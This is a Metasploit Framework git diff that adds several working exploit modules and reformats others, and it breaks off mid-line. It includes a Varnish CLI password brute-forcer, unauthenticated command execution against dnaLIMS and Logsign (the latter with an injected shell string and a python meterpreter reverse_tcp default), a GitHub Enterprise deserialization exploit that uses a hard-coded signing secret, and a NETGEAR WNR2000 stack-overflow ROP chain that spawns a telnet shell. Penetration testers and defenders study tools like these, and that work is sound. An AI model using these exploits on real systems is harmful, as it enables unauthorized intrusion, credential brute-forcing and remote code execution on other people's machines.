'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/varnish' +require 'metasploit/framework/tcp/client' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Metasploit::Framework::Varnish::Client + + def initialize + super( + 'Name' => 'Varnish Cache CLI Login Utility', + 'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce + list of passwords.', + 'References' => + [ + [ 'OSVDB', '67670' ], + [ 'CVE', '2009-2936' ], + [ 'EDB', '35581' ], + [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ] + ], + 'Author' => + [ + 'patrick', #original module + 'h00die ' #updates and standardizations + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(6082), + OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) + ], self.class) + + # We don't currently support an auth mechanism that uses usernames, so we'll ignore any + # usernames that are passed in. + @strip_usernames = true + end + + def run_host(ip) + # first check if we even need auth + begin + connect + if !require_auth? + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required" + close_session + disconnect + return + else + vprint_status "#{ip}:#{rport} - Authentication Required" + end + close_session + disconnect + rescue Rex::ConnectionError, EOFError, Timeout::Error + print_error "#{ip}:#{rport} - Unable to connect" + end + + cred_collection = Metasploit::Framework::CredentialCollection.new( + pass_file: datastore['PASS_FILE'], + username: '' + ) + scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new( + host: ip, + port: rport, + cred_details: cred_collection, + stop_on_success: true, + connection_timeout: 10, + framework: framework, + framework_module: self, + + ) + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}" + else + invalidate_login(credential_data) + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}" + end + end + end +end diff --git a/modules/auxiliary/server/local_hwbridge.rb b/modules/auxiliary/server/local_hwbridge.rb index 0373ecc399..e9a1827ea5 100644 --- a/modules/auxiliary/server/local_hwbridge.rb +++ b/modules/auxiliary/server/local_hwbridge.rb @@ -37,23 +37,23 @@ class MetasploitModule < Msf::Auxiliary 'DefaultAction' => 'WebServer')) @operational_status = 0 # 0=unk, 1=connected, 2=not connected - @last_errors = Hash.new + @last_errors = {} @server_started = Time.new - @can_interfaces = Array.new + @can_interfaces = [] @pkt_response = {} # Candump returned packets end - def detect_can() - @can_interfaces = Array.new + def detect_can + @can_interfaces = [] Socket.getifaddrs.each do |i| - if i.name =~ /^can\d+$/ or i.name =~ /^vcan\d+$/ or i.name =~ /^slcan\d+$/ + if i.name =~ /^can\d+$/ || i.name =~ /^vcan\d+$/ || i.name =~ /^slcan\d+$/ @can_interfaces << i.name end end end - def get_status() - status = Hash.new + def get_status + status = {} status["operational"] = @operational_status status["hw_specialty"] = {} status["hw_capabilities"] = {} @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary status["api_version"] = HWBRIDGE_API_VERSION status["fw_version"] = "not supported" status["hw_version"] = "not supported" - if @can_interfaces.size > 0 + unless @can_interfaces.empty? status["hw_specialty"]["automotive"] = true status["hw_capabilities"]["can"] = true end @@ -69,8 +69,8 @@ class MetasploitModule < Msf::Auxiliary status end - def get_statistics() - stats = Hash.new + def get_statistics + stats = {} stats["uptime"] = Time.now - @server_started stats["packet_stats"] = "not supported" stats["last_request"] = "not supported" @@ -78,24 +78,24 @@ class MetasploitModule < Msf::Auxiliary stats end - def get_datetime() + def get_datetime { "system_datetime" => Time.now } end - def get_timezone() + def get_timezone { "system_timezone" => Time.now.getlocal.zone } end - def get_ip_config() + def get_ip_config end # # Stub fucntion to test custom methods # Defines a method "sample_cmd" with one argument "data" which is required # - def get_custom_methods() - m = Hash.new - m["Methods"] = Array.new + def get_custom_methods + m = {} + m["Methods"] = [] meth = { "method_name" => "custom/sample_cmd", "method_desc" => "Sample HW test command", "args" => [] } arg = { "arg_name" => "data", "arg_type" => "string", "required" => true } meth["args"] << arg @@ -104,9 +104,9 @@ class MetasploitModule < Msf::Auxiliary m end - def get_auto_supported_buses() + def get_auto_supported_buses detect_can() - buses = Array.new + buses = [] @can_interfaces.each do |can| buses << { "bus_name" => can } end @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary return result end `which cansend` - if not $?.success? + unless $?.success? print_error("cansend from can-utils not found in path") return result end @@ -146,11 +146,11 @@ class MetasploitModule < Msf::Auxiliary hash["Packets"] = [] lines = str_packets.split(/\n/) lines.each do |line| - if line=~/\w+\s+(\w+) \[\d\] (.+)$/ + if line =~ /\w+\s+(\w+) \[\d\] (.+)$/ id = $1 str_data = $2 data = str_data.split - hash["Packets"] << {"ID" => id, "DATA" => data} + hash["Packets"] << { "ID" => id, "DATA" => data } end end hash @@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary $candump_sniffer = Thread.new do output = `candump #{bus},#{id}:FFFFFF -T #{timeout} -n #{maxpkts}` @pkt_response = candump2hash(output) - Thread::exit() + Thread::exit end end @@ -171,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary # data = string of hex bytes to send # timeout = optional int to timeout on lack of response # maxpkts = max number of packets to recieve - def isotp_send_and_wait(bus, srcid, dstid, data, timeout=2000, maxpkts=3) + def isotp_send_and_wait(bus, srcid, dstid, data, timeout = 2000, maxpkts = 3) result = {} result["Success"] = false srcid = srcid.to_i(16).to_s(16) @@ -186,18 +186,18 @@ class MetasploitModule < Msf::Auxiliary end # Should we ever require isotpsend for this? `which cansend` - if not $?.success? + unless $?.success? print_error("cansend from can-utils not found in path") return result end @can_interfaces.each do |can| if can == bus - candump(bus,dstid,timeout,maxpkts) + candump(bus, dstid, timeout, maxpkts) system("cansend #{bus} #{srcid}##{bytes}") result["Success"] = true if $?.success? result["Packets"] = [] $candump_sniffer.join - if not @pkt_response.empty? + unless @pkt_response.empty? result = @pkt_response end end @@ -216,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary res end - def not_supported() + def not_supported { "status" => "not supported" } end @@ -224,35 +224,35 @@ class MetasploitModule < Msf::Auxiliary if request.uri =~ /status$/i print_status("Sending status...") send_response_html(cli, get_status().to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/statistics$/i + elsif request.uri =~ /statistics$/i print_status("Sending statistics...") send_response_html(cli, get_statistics().to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/settings\/datetime\/get$/i + elsif request.uri =~ /settings\/datetime\/get$/i print_status("Sending Datetime") send_response_html(cli, get_datetime().to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/settings\/timezone\/get$/i + elsif request.uri =~ /settings\/timezone\/get$/i print_status("Sending Timezone") send_response_html(cli, get_timezone().to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/custom_methods$/i + elsif request.uri =~ /custom_methods$/i print_status("Sending custom methods") send_response_html(cli, get_custom_methods().to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri=~/custom\/sample_cmd\?data=(\S+)$/ + elsif request.uri =~ /custom\/sample_cmd\?data=(\S+)$/ print_status("Request for custom command with args #{$1}") send_response_html(cli, sample_custom_method($1).to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/automotive/i + elsif request.uri =~ /automotive/i if request.uri =~ /automotive\/supported_buses/ print_status("Sending known buses...") send_response_html(cli, get_auto_supported_buses().to_json, { 'Content-Type' => 'application/json' }) - elsif request.uri =~/automotive\/(\w+)\/cansend\?id=(\w+)&data=(\w+)/ + elsif request.uri =~ /automotive\/(\w+)\/cansend\?id=(\w+)&data=(\w+)/ print_status("Request to send CAN packets for #{$1} => #{$2}##{$3}") send_response_html(cli, cansend($1, $2, $3).to_json(), { 'Content-Type' => 'application/json' }) - elsif request.uri =~/automotive\/(\w+)\/isotpsend_and_wait\?srcid=(\w+)&dstid=(\w+)&data=(\w+)/ + elsif request.uri =~ /automotive\/(\w+)\/isotpsend_and_wait\?srcid=(\w+)&dstid=(\w+)&data=(\w+)/ bus = $1; srcid = $2; dstid = $3; data = $4 print_status("Request to send ISO-TP packet and wait for response #{srcid}##{data} => #{dstid}") timeout = 1500 maxpkts = 3 - timeout = $1 if request.uri=~/&timeout=(\d+)/ - maxpkts = $1 if request.uri=~/&maxpkts=(\d+)/ + timeout = $1 if request.uri =~ /&timeout=(\d+)/ + maxpkts = $1 if request.uri =~ /&maxpkts=(\d+)/ send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, timeout, maxpkts).to_json(), { 'Content-Type' => 'application/json' }) else send_response_html(cli, not_supported().to_json(), { 'Content-Type' => 'application/json' }) @@ -263,9 +263,9 @@ class MetasploitModule < Msf::Auxiliary end def run - detect_can() + detect_can @server_started = Time.now - exploit() + exploit end end diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index e89f4c30fa..3166ef9517 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -15,6 +15,9 @@ class MetasploitModule < Msf::Encoder::Alphanum 'Description' => %q{ Encodes payloads as alphanumeric mixedcase text. This encoder uses SkyLined's Alpha2 encoding suite. + A pure alpha encoder is impossible without having a register that points at or near the shellcode. + In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric. + You can set BufferRegister for full alpha (see Encoder options for details). }, 'Author' => [ 'pusscat', 'skylined' ], 'Arch' => ARCH_X86, diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 61703a9acb..e63122480c 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -18,6 +18,9 @@ class MetasploitModule < Msf::Encoder::Alphanum 'Description' => %q{ Encodes payloads as alphanumeric uppercase text. This encoder uses SkyLined's Alpha2 encoding suite. + A pure alpha encoder is impossible without having a register that points at or near the shellcode. + In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric. + You can set BufferRegister for full alpha (see Encoder options for details). }, 'Author' => [ 'pusscat', 'skylined' ], 'Arch' => ARCH_X86, diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb index ebd888f488..1a11d1e554 100644 --- a/modules/exploits/firefox/local/exec_shellcode.rb +++ b/modules/exploits/firefox/local/exec_shellcode.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'msf/core/payload/firefox' class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking # Missing autodetection, but has widespread targetability include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb index a63ef51506..c85b413b17 100644 --- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper diff --git a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb index e4660dc305..39c8ce64d8 100644 --- a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb +++ b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb new file mode 100644 index 0000000000..dd4c92822a --- /dev/null +++ b/modules/exploits/linux/http/dnalims_admin_exec.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'dnaLIMS Admin Module Command Execution', + 'Description' => %q{ + This module utilizes an administrative module which allows for + command execution. This page is completely unprotected from any + authentication when given a POST request. + }, + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-6526'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Platform' => %w( linux unix ), + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there + } + }, + 'Targets' => + [ + [ 'Automatic Target', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 8 2017' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => 'perl -V' + } + ) + if res && res.body + if /Summary of/ =~ res.body + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending Exploit') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => payload.encoded, + } + ) + vprint_good(res.body) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end + + diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 2e25bce5aa..181d8e72d6 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index 554c48b12f..26d8d64381 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/github_enterprise_secret.rb b/modules/exploits/linux/http/github_enterprise_secret.rb new file mode 100644 index 0000000000..7fa8bf2621 --- /dev/null +++ b/modules/exploits/linux/http/github_enterprise_secret.rb @@ -0,0 +1,195 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability", + 'Description' => %q{ + This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. + The first is that the session management uses a hard-coded secret value, which can be + abused to sign a serialized malicious Ruby object. The second problem is due to the + use of unsafe deserialization, which allows the malicious Ruby object to be loaded, + and results in arbitrary remote code execution. + + This exploit was tested against version 2.8.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'iblue ', # Original discovery, writeup, and PoC (he did it all!) + 'sinn3r' # Porting the PoC to Metasploit + ], + 'References' => + [ + [ 'EDB', '41616' ], + [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ], + [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'Github Enterprise 2.8', { } ] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 8443 + }, + 'Privileged' => false, + 'DisclosureDate' => 'Mar 15 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/']) + ], self.class) + end + + def secret + '641dd6454584ddabfed6342cc66281fb' + end + + def check + uri = normalize_uri(target_uri.path, 'setup', 'unlock') + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' =>{ + 'redirect_to' => '/' + } + }) + + unless res + vprint_error('Connection timed out.') + return Exploit::CheckCode::Unknown + end + + unless res.get_cookies.match(/^_gh_manage/) + vprint_error('No _gh_manage value in cookie found') + return Exploit::CheckCode::Safe + end + + cookies = res.get_cookies + vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...") + gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first) + data = gh_manage_value.split('--').first + hmac = gh_manage_value.split('--').last.split(';', 2).first + vprint_status("Data: #{data.gsub(/\n/, '')}") + vprint_status("Extracted HMAC: #{hmac}") + expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) + vprint_status("Expected HMAC: #{expected_hmac}") + + if expected_hmac == hmac + vprint_status("The HMACs match, which means you can sign and tamper the cookie.") + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def get_ruby_code + b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" + bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" + register_file_for_cleanup(b64_fname, bin_fname) + p = Rex::Text.encode_base64(generate_payload_exe) + + c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " + c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " + c << "%x(chmod +x #{bin_fname}); " + c << "%x(#{bin_fname})" + c + end + + + def serialize + # We don't want to run this code within the context of Framework, so we run it as an + # external process. + # Brilliant trick from Brent and Adam to overcome the issue. + ruby_code = %Q| + module Erubis;class Eruby;end;end + module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end + + erubis = Erubis::Eruby.allocate + erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\" + proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate + proxy.instance_variable_set :@instance, erubis + proxy.instance_variable_set :@method, :result + proxy.instance_variable_set :@var, "@result" + + session = + { + 'session_id' => '', + 'exploit' => proxy + } + + print Marshal.dump(session) + | + + serialized_output = `ruby -e "#{ruby_code}"` + + serialized_object = [serialized_output].pack('m') + hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object) + + return serialized_object, hmac + end + + def send_serialized_data(dump, hmac) + uri = normalize_uri(target_uri.path) + gh_manage_value = CGI.escape("#{dump}--#{hmac}") + cookie = "_gh_manage=#{gh_manage_value}" + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie + }) + + if res + print_status("Server returned: #{res.code}") + end + end + + def exploit + dump, hmac = serialize + print_status('Serialized Ruby stager') + + print_status('Sending serialized Ruby stager...') + send_serialized_data(dump, hmac) + end + +end + +=begin + +Handy information: + +To deobfuscate Github code, use this script: +https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42 + +Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this +algorithm: + +* Takes the session hash (Json) in env['rack.session'] +* Marshal.dump the hash into a string +* Base64 the string +* Append a hash of the data at the end of the string to prevent tampering. +* The signed data is saved in _gh_manage' + +The format looks like this: + +[ DATA ]--[ Hash ] + +Also see: +https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb + +=end diff --git a/modules/exploits/linux/http/logsign_exec.rb b/modules/exploits/linux/http/logsign_exec.rb new file mode 100644 index 0000000000..1f04527fce --- /dev/null +++ b/modules/exploits/linux/http/logsign_exec.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Logsign Remote Command Injection', + 'Description' => %q{ + This module exploits an command injection vulnerability in Logsign. + By exploiting this vulnerability, unauthenticated users can execute + arbitrary code under the root user. + + Logsign has a publicly accessible endpoint. That endpoint takes a user + input and then use it during operating system command execution without + proper validation. + + This module was tested against 4.4.2 and 4.4.137 versions. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/'] + ], + 'Privileged' => true, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'DefaultOptions' => + { + 'payload' => 'python/meterpreter/reverse_tcp' + }, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Feb 26 2017', + 'DefaultTarget' => 0 + )) + + end + + def check + p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"} + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), + 'ctype' => 'application/json', + 'data' => JSON.generate(p_hash) + ) + + if res && res.body.include?('{"message": "success", "success": true}') + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + print_status("Delivering payload...") + + p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"} + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), + 'ctype' => 'application/json', + 'data' => JSON.generate(p_hash) + ) + end +end diff --git a/modules/exploits/linux/http/netgear_wnr2000_rce.rb b/modules/exploits/linux/http/netgear_wnr2000_rce.rb new file mode 100644 index 0000000000..d5203fd597 --- /dev/null +++ b/modules/exploits/linux/http/netgear_wnr2000_rce.rb @@ -0,0 +1,270 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'time' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CRand + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow', + 'Description' => %q{ + The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi + parameter. + In order to exploit it, it is necessary to guess the value of a certain timestamp which + is in the configuration of the router. An authenticated attacker can simply fetch this + from a page, but an unauthenticated attacker has to brute force it. + Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but + it is guaranteed that it can be bruteforced. + This module implements both modes, and it works very reliably. It has been tested with + the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware + revisions v4 and v3, but this has not been tested - with these routers it might be necessary + to adjust the LibcBase variable as well as the gadget addresses. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix'], + 'References' => + [ + ['CVE', '2016-10174'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'], + ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] + ], + 'Targets' => + [ + [ 'NETGEAR WNR2000v5', + { + 'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so) + 'SystemOffset' => 0x547D0, + 'GadgetOffset' => 0x2462C, + #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()): + #LOAD:0002462C addiu $a0, $sp, 0x40+arg_0 + #LOAD:00024630 move $t9, $s0 + #LOAD:00024634 jalr $t9 + 'Payload' => + { + 'BadChars' => "\x00\x25\x26", + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + } + ], + ], + 'Privileged' => true, + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DisclosureDate' => 'Dec 20 2016', + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(80), + OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']), + OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']), + ], self.class) + register_advanced_options( + [ + OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), + OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200]) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res.headers['WWW-Authenticate'] + auth = res.headers['WWW-Authenticate'] + if auth =~ /WNR2000v5/ + return Exploit::CheckCode::Detected + elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/ + return Exploit::CheckCode::Unknown + end + end + Exploit::CheckCode::Safe + end + + def uri_encode (str) + "%" + str.scan(/.{2}|.+/).join("%") + end + + def calc_address (libc_base, offset) + addr = (libc_base + offset).to_s(16) + uri_encode(addr) + end + + def get_current_time + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res['Date'] + date = res['Date'] + return Time.parse(date).strftime('%s').to_i + end + end + + def get_auth_timestamp + res = send_request_raw({ + 'uri' => '/lang_check.html', + 'method' => 'GET', + # automatically uses HttpPassword and HttpUsername to authenticate + }) + if res && res.code == 401 + # try again, might fail the first time + res = send_request_raw({ + 'uri' => '/lang_check.html', + 'method' => 'GET', + # automatically uses HttpPassword and HttpUsername to authenticate + }) + end + if res && res.code == 200 + if res.body =~ /timestamp=([0-9]{8})/ + $1.to_i + end + end + end + + # Do some crazyness to force Ruby to cast to a single-precision float and + # back to an integer. + # This emulates the behaviour of the soft-fp library and the float cast + # which is done at the end of Netgear's timestamp generator. + def ieee754_round (number) + [number].pack('f').unpack('f*')[0].to_i + end + + + # This is the actual algorithm used in the get_timestamp function in + # the Netgear firmware. + def get_timestamp(time) + srandom_r time + t0 = random_r + t1 = 0x17dc65df; + hi = (t0 * t1) >> 32; + t2 = t0 >> 31; + t3 = hi >> 23; + t3 = t3 - t2; + t4 = t3 * 0x55d4a80; + t0 = t0 - t4; + t0 = t0 + 0x989680; + + ieee754_round(t0) + end + + def get_payload + rand_text_alpha(36) + # filler_1 + calc_address(target['LibcBase'], target['SystemOffset']) + # s0 + rand_text_alpha(12) + # s1, s2 and s3 + calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget + rand_text_alpha(0x40) + # filler_2 + "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload + end + + def send_req(timestamp) + begin + uri_str = (timestamp == nil ? \ + "/apply_noauth.cgi?/lang_check.html" : \ + "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}") + res = send_request_raw({ + 'uri' => uri_str, + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}" + }) + rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + return + end + end + + def exploit + # 1: try to see if the default admin username and password are set + timestamp = get_auth_timestamp + + # 2: now we try two things at once: + # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that + # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before) + print_status("#{peer} - Trying the easy way out first") + send_req(timestamp) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) + if not sock.nil? + print_good("#{peer} - Success, shell incoming!") + return handler(sock) + end + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + sock.close if sock + end + + print_bad("#{peer} - Well that didn't work... let's do it the hard way.") + + # no shell? let's just go on and bruteforce the timestamp + # 3: get the current date from the router and parse it + end_time = get_current_time + if end_time.nil? + fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") + end + if end_time <= datastore['TIME_OFFSET'] + start_time = 0 + else + start_time = end_time - datastore['TIME_OFFSET'] + end + end_time += datastore['TIME_SURPLUS'] + + if 